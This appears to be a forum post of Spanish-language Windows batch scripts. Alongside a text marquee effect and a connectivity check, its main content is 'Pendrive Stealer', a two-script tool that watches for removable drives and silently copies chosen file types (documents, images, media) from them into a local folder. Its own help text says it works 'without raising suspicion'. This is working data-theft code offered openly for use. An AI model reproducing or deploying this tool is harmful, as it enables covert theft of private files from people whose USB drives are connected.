@echo off
title Efecto de Marquesina
REM Coded by :: SmartGenius ::
SETLOCAL ENABLEDELAYEDEXPANSION
:ini
set /p texto="Texto a Mostrar: > "
if not defined texto goto ini
set v=%texto%
call :string %v%
REM Obtenemos el Tamaño de Pantalla   
for /f "tokens=2" %%a in ('mode con^|find /i "col"') do (set /a l=%%a-%length%)
REM Creamos una Variable con L espacios vacios
for /l %%b in (1,1,%l%) do (call :new %%b)
REM Mostramos la Cadena andando hacia la derecha
for /l %%c in (1,1,%l%) do (call :show %%c)
REM Mostramos la Cadena andando hacia la izquierda
for /l %%d in (%l%,-1,1) do (call :show %%d)
pause
exit

:new
set r= %r%
goto :eof

:show
cls
set lim=%1
echo !r:~0,%lim%!%texto%
ping -n 1 >nul
goto :eof

:string
set /a length=%length%+1
set v=%v:~1%
if "%v%"=="" goto :eof
goto string

@echo off
mode con cols=70
mode con lines=40
title Pendrive Stealer - Local
color 0a
REM Script de Copia de Dispositivos USB
REM Coded by :: SmartGenius :: , RockoX

if exist "myfolder.cfg" (goto anim) else (goto ins)

:ins
cls
echo.
echo  Instalando el Programa...
echo  Por favor espere
echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg"
md "Mi Carpeta"
echo "Mi Carpeta\">"myfolder.cfg"
ping -n 2 0.0.0.0 > nul
pause
goto anim

:anim
cls
echo.
echo        ±±±±±                                               ±±±±±
echo      ±±°°°°°±                                            ±±°°°°°±
echo      ±°°°°°°°±±                                         ±°°°°°°°± 
echo    ±±°°°°°°°°°±                                        ±±°°°°°°°°±±
echo   ±°°°°°°°°°°°±                                      ±±°°°°°°°°°°°°±
echo   ±°°°°°°°°°°°°±±            ²²²²²²²²²²²²²²²²²²   ±±±°°°°°°°°°°°°°°±
echo    ±±°°°°°°°°°°°°±±±     ²²²²±±°°°°°°°°°°°°±±²²²²±°°°°°°°°°°°°±±±±±
echo      ±±±±±±°°°°°°°°°±²²²²°°°°°°°°°°°°°°°°°°°°°°²²²²°°°°°°±±±±±
echo            ±±±°°°°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±±
echo               ±°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²±
echo                 ²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°±±²²
echo                ²²°°°°°°°°°°²²²²°°°°°°°°²²²²°°°°°°°°°°°²²
echo                ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²²
echo                ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²²
echo                ²²°°°°°°°°°±²²²²°°°°°°°±²²²²°°°°°°°°°°°²²
echo                ²²±±°°°°°°°°°°°°°°±±±±°°°°°°°°°°°°°°°°²²
echo                 ²²²°°°°°°°°°°°°°°²²²²°°°°°°°°°°°°°°²²²²
echo                ±±²²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±±
echo               ±±°°°°²²±°°°°°°°°°°°°°°°°°°°°°°°°°°²²°°°°°°±±
echo            ±±±°°°°°°°²²²²°°°°°°°°°°°°°°°°°°°°°²²²°°°°°°°°°°±±±±±±±
echo      ±±±±±±°°°°°°°°±±²  ²²²°°°°°°°°°°°°°°°°°°²²  ±±°°°°°°°°°°°°°°°±±
echo    ±±°°°°°°°°°°°°±±       ²°°°°°°°°°°°°°°°°°°²     ±±±±°°°°°°°°°°°°°±
echo    ±°°°°°°°°°°°±±         ²°°°°°°°°°°°°°°°°°°²         ±±°°°°°°°°°°±±
echo    ±±°°°°°°°°±±           ²°°±°°±°°±°°±°°±°°°²          ±°°°°°°°°±±
echo      ±±°°°°°±±            ²²²²²²²²²²²²²²²²²²²²          ±±°°°°°°±
echo        ±°°°±±                                             ±°°°°±
echo         ±±±±                                               ±±±±
echo.
echo              ²²² ²²² ²²  ²²²    ²² ²² ²²² ² ² ²²² ²²²  ²²²
echo              ²   ² ² ² ² ²      ² ² ² ² ² ² ² ²   ²  ² ²
echo              ²   ² ² ² ² ²²² ²² ²   ² ²²² ²²  ²²² ²²²  ²²²
echo              ²   ² ² ² ² ²      ²   ² ² ² ² ² ²   ²  ²   ²
echo              ²²² ²²² ²²  ²²²    ²   ² ² ² ² ² ²²² ²  ² ²²²
echo.
pause
goto main

:main
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo    Elija una Opcion:
echo.
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³1³ ³ Definir carpeta principal...³  ³2³ ³ Tipos de Archivos..  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³3³ ³ Iniciar Escaneo de USBs...  ³  ³4³ ³ Ayuda del Programa.. ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³5³ ³ Salir del Programa..        ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
set /p opc=">> "
if "opc"=="" (goto main)
set opc=%opc: =_%

if %opc%==1 goto dcp
if %opc%==2 goto ftype
if %opc%==3 goto scan
if %opc%==4 goto help
if %opc%==5 (goto out) else (goto err)

:err
cls
echo.
echo ERROR...
echo.
echo No ha escogido una Opcion Correcta
echo Vuelva a Intentarlo
echo.
pause
goto main

:dcp
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo   En esta opcion puede definir en donde se guardaran
echo   los archivos copiados...
echo.
echo  Arrastre aqui la carpeta
echo.
set /p dcp=">> "
if "dcp"=="" (goto dcp)
echo %dcp%>"myfolder.cfg"
echo.
echo  La carpeta : %dcp%
echo  se ha establecido exitosamente...
echo.
pause
goto main

:ftype
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo   Configure aqui los tipos de archivos que desea Escanear y Copiar
echo.
echo    Elija una Opcion:
echo.
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³1³ ³ Documentos...  ³  ³2³ ³ Imagenes ^& Fotos..       ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³3³ ³ Musica ^& Audio ³  ³4³ ³ Documentos ^& Imagenes..  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³5³ ³ Videos *       ³  ³6³ ³ Todas las Opciones... *  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo  * Las Opciones 5 y 6 pueden tardar mas de lo normal...
echo.
set /p typ=">> "
if "typ"=="" (goto ftype)
if %typ%==1 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb>"ftypes.cfg" & goto yap)
if %typ%==2 (echo *.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap)
if %typ%==3 (echo *.mp3,*.mp4,*.wav,*.mid,*.wma,*.ogg>"ftypes.cfg" & goto yap)
if %typ%==4 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb,*.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap)
if %typ%==5 (echo *.mpg,*.wmv,*.asf,*.3gp,*.avi,*.mov>"ftypes.cfg" & goto yap)
if %typ%==6 (echo *.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm,*.jpg,*.gif,*.bmp,*.png,*.mp3,*.mp4,*.wma>"ftypes.cfg" & goto yap)
goto main

:yap
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
echo.
echo  Tipos de Archivos Configurados correctamente
echo.
echo  Archivos con Extension: %filetypes%
echo.
pause
goto main

:scan
start USBScan.bat
exit

:help
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo  Este programa tiene la Funcion de copiar archvos desde dispositivos
echo  USB, de manera silenciosa y sin levantar sospechas...
echo.
echo  El programa puede ser congifurado facilmente, dandole opciones de 
echo  escoger que tipos de archivos copiar y en que carpeta se deben
echo  guardar...
echo.
echo.
echo  Titulo:  Pendrive USB Stealer, Version 1.0 Local
echo  Autores: :: SmartGenius ::, RockoX
echo  Web:     http://foro.code-makers.es
echo.
echo  SmartGenius, Corp. 2008
echo.
pause
goto main
  
:out
cls
echo MsgBox "Gracias por usar este Programa", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit

@echo off
title USB Stealer - Local
color 0a

:load
cls
echo MsgBox "Se inicio el Escaneo...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto ini

:ini
if not exist "myfolder.cfg" (goto fixfolder)
for /F "tokens=*" %%a in (myfolder.cfg) do set myfolder=%%a
if not exist "ftypes.cfg" (gotp fixfiles)
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
goto main

:main
for %%u in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do call :comp %%u
goto ini

:comp
set unidad=%1
FSUTIL FSINFO DRIVETYPE %unidad%:>%temp%\letuni.tmf
if %errorlevel%==1 (goto usb2)
for /F "tokens=*" %%e in (%temp%\letuni.tmf) do set let=%%e
if %let:~-4%==ble (call :usb %unidad%)
if %let:~-4%==ija (goto :eof)
if %let:~-4%==ROM (goto :eof)

:usb
set letra=%1
if exist "%letra%:\db.ini" goto :eof
for  /r %letra%: %%t in (%filetypes%) do (copy "%%t" %myfolder%)
echo USB>db.ini
goto :eof

:usb2
for %%n in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :usb %%n)
goto ini

:fixfiles
echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg"
echo MsgBox "Los Tipos de Archivo no estan configurados...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit

:fixfolder
echo "Mi Carpeta\">"myfolder.cfg"
echo MsgBox "No Hay una Carpeta Predefinida...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit

Aver esto : 
@echo off
cd %windir%\system32
ping -n 2 www.google.com>nul
if errorlevel 1 (
goto :NoConection
) else (
goto :Conection
)

:NoConection
cls
msg * No hay conexion!
goto :EOF

:Conection
cls
msg * Si hay conexion!
goto :EOF